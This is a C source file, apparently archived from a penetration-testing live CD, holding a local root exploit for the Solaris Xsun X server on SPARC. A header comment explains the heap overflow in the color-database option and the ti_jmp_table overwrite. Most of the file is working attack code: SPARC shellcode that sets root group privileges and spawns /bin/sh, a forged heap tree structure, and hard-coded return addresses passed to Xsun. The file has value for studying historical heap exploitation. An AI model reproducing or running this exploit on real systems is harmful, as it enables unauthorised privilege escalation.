home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / Xsun-expl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  179 lines

  1. /* Xsun(sparc) local exploit
  2.    by gloomy (gloomy@root66.org) & eSDee (esdee@netric.org)
  3.    ------------------------------------------------------------------
  4.      Xsun is a Solaris server for X version 11. This program contains
  5.    an option that is not really secure nowadays :).
  6.    The option is used to determine the color database file. And yeah,
  7.    indeed, you guessed it already, it contains a heap overflow.
  8.  
  9.      When we were busy writing this exploit within a multi display
  10.    screen, we discovered some weird "unable-to-write-over-stackframe"
  11.    problems. We tried everything to just write a few bytes over a
  12.    saved program counter, but unfortunatly it was not possible on the
  13.    current machine we were using. Then eSDee came up with something
  14.    news. In the middle of the night a loud "yippeaaaaaa!" came out
  15.    the bedroom of mister Es. He discovered a little section just
  16.    below the GOT. It didn't contain \0 bytes and it was writeable.
  17.    It's called the ti_jmp_table. I'm sure eSDee will write some
  18.    papers about it soon.
  19.  
  20.      Gloomy was busy writing a shellcode that re-opens the STDIN. He
  21.    found out that he just could open /dev/tty and then duplicate the
  22.    STDERR filedescriptor, so the important descriptors were back
  23.    again.
  24.  
  25.    USAGE:
  26.         ./Xsun-expl [retloc] [ret]
  27.  
  28.    Example:
  29.         bash$ gcc -o Xsun-expl Xsun-expl.c -Wall -Werror
  30.         bash$ ./Xsun-expl
  31.         Couldn't open RGB_DB 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....
  32.         ...
  33.         bash$ id
  34.         uid=500(user) gid=0(root)
  35.  
  36.    Greets and kisses:
  37.         #netric                 - www.netric.org
  38.         #root66                 - www.root66.org
  39.         mostlyharmless          - www.mostly-harmless.nl [soon]
  40.         dB_____                 - fijne broer van gloom-ei! :)
  41.         squezel                 - lekker ventje ben jij.
  42.  
  43.    More information available at: http://online.securityfocus.com/advisories/40
  44. 09
  45.  
  46.    [ps. wat een lompe text]
  47. */
  48.  
  49. #include <stdio.h>
  50. #include <stdlib.h>
  51. #include <unistd.h>
  52.  
  53. #define PATH            "/usr/openwin/bin/Xsun"
  54. #define DISPLAY         ":1"
  55. #define SIZE            5128
  56.  
  57. #define RET             0xffbef7bc
  58. #define RETLOC          0xfecbea30      /* <ti_jmp_table+4> (a pointer to _retu
  59. rn_zero) */
  60. #define DUMMY           0xac1db0ef
  61.  
  62. struct WORD {
  63.         long element;
  64.         long dummy;
  65. };
  66.  
  67. struct TREE {
  68.         struct WORD    t_s;    /* size of this element */
  69.         struct WORD    t_p;    /* parent node */
  70.         struct WORD    t_l;    /* left child */
  71.         struct WORD    t_r;    /* right child */
  72.         struct WORD    t_n;    /* next in link list */
  73.         struct WORD    t_d;    /* dummy to reserve space for self-pointer */
  74. };
  75.  
  76. char
  77. shellcode[]=
  78.  
  79.         /*
  80.                 setregid(0,0);                          setting root permission
  81. s
  82.                 open("/dev/tty", RD_ONLY);              re-open STDIN
  83.                 dup(2);                                 duplicate STDOUT to STD
  84. ERR
  85.                 execve("/bin//sh", &argv[0], NULL);     start the shell
  86.                 exit();                                 exit
  87.         */
  88.  
  89.         "\x90\x1d\x80\x16"      // xor          %l6, %l6, %o0
  90.         "\x92\x1d\x80\x16"      // xor          %l6, %l6, %o1
  91.         "\x82\x18\x40\x01"      // xor          %g1, %g1, %g1
  92.         "\x82\x10\x20\xcb"      // mov          0x2e, %g1
  93.         "\x91\xd0\x20\x08"      // ta           8                       [setreg
  94. id(0,0)]
  95.  
  96.         "\x21\x0b\xd9\x19"      // sethi        %hi(0x2f646400), %l0
  97.         "\xa0\x14\x21\x76"      // or           %l0, 0x176, %l0
  98.         "\x23\x0b\xdd\x1d"      // sethi        %hi(0x2f747400), %l1
  99.         "\xa2\x14\x60\x79"      // or           %l1, 0x79, %l1
  100.         "\xe0\x3b\xbf\xf8"      // std          %l0, [ %sp - 0x8 ]
  101.         "\x90\x23\xa0\x08"      // sub          %sp, 8, %o0
  102.         "\x92\x1b\x80\x0e"      // xor          %sp, %sp, %o1
  103.         "\x82\x10\x20\x05"      // mov          0x05, %g1
  104.         "\x91\xd0\x20\x08"      // ta           8                       [open("
  105. /dev/tty",RD_ONLY)]
  106.  
  107.         "\x90\x10\x20\x02"      // mov          0x02, %o0
  108.         "\x82\x10\x20\x29"      // mov          0x29, %g1
  109.         "\x91\xd0\x20\x08"      // ta           8                       [dup(2)
  110. ]
  111.  
  112.         "\x21\x0b\xd8\x9a"      // sethi        %hi(0x2f626800), %l0
  113.         "\xa0\x14\x21\x6e"      // or           %l0, 0x16e, %l0
  114.         "\x23\x0b\xcb\xdc"      // sethi        %hi(0x2f2f7000), %l1
  115.         "\xa2\x14\x63\x68"      // or           %l1, 0x368, %l1
  116.         "\xe0\x3b\xbf\xf0"      // std          %l0, [ %sp - 0x10 ]
  117.         "\xc0\x23\xbf\xf8"      // clr          [ %sp - 0x8 ]
  118.         "\x90\x23\xa0\x10"      // sub          %sp, 0x10, %o0
  119.         "\xc0\x23\xbf\xec"      // clr          [ %sp - 0x14 ]
  120.         "\xd0\x23\xbf\xe8"      // st           %o0, [ %sp - 0x18 ]
  121.         "\x92\x23\xa0\x18"      // sub          %sp, 0x18, %o1
  122.         "\x94\x22\x80\x0a"      // sub          %o2, %o2, %o2
  123.         "\x82\x18\x40\x01"      // xor          %g1, %g1, %g1
  124.         "\x82\x10\x20\x3b"      // mov          0x3b, %g1
  125.         "\x91\xd0\x20\x08"      // ta           8                       [execve
  126. ("/bin/sh","/bin/sh",NULL)]
  127.  
  128.         "\x82\x10\x20\x01"      // mov          0x01, %g1
  129.         "\x91\xd0\x20\x08"      // ta           8                       [exit(?
  130. )]
  131.  
  132.         "\x10\xbf\xff\xdf"      // b            shellcode
  133.         "\x90\x1d\x80\x16";     // or           %o1, %o1, %o1
  134.  
  135. int
  136. main(int argc, char *argv[])
  137. {
  138.         struct TREE faketree;                           // our friendly little 
  139. tree
  140.  
  141.         char buffer[SIZE+sizeof(faketree)+1];
  142.  
  143.         unsigned int ret          = RET;
  144.         unsigned int retloc       = RETLOC;
  145.         unsigned int dummy        = DUMMY;
  146.  
  147.         if (argc > 1) retloc    = strtoul(argv[1], &argv[1], 16);
  148.         if (argc > 2) ret       = strtoul(argv[2], &argv[2], 16);
  149.  
  150.         faketree.t_s.element = 0xfffffff0;
  151.         faketree.t_s.dummy   = dummy;
  152.         faketree.t_n.element = retloc - 8;
  153.         faketree.t_n.dummy   = dummy;
  154.         faketree.t_l.element = 0xffffffff;
  155.         faketree.t_l.dummy   = dummy;
  156.         faketree.t_r.element = dummy;
  157.         faketree.t_r.dummy   = dummy;
  158.         faketree.t_p.element = ret;
  159.         faketree.t_p.dummy   = dummy;
  160.         faketree.t_d.element = dummy;
  161.         faketree.t_d.dummy   = dummy;
  162.  
  163.         memset(buffer, 0x41, sizeof(buffer));
  164.         memcpy(buffer + 3999 - (strlen(shellcode) - 8), shellcode, strlen(shell
  165. code));
  166.         memcpy(buffer + SIZE, &faketree, sizeof(faketree));
  167.         buffer[SIZE + sizeof(faketree)] = 0x0;
  168.  
  169.         fprintf(stdout, "Retloc = 0x%08x\n"
  170.                         "Ret    = 0x%08x\n",
  171.                         retloc, ret);
  172.  
  173.         execl(PATH, "Xsun", "-co", buffer, DISPLAY, NULL);
  174.         return 0;
  175. }
  176.  
  177. /* [eof] */
  178.  
  179.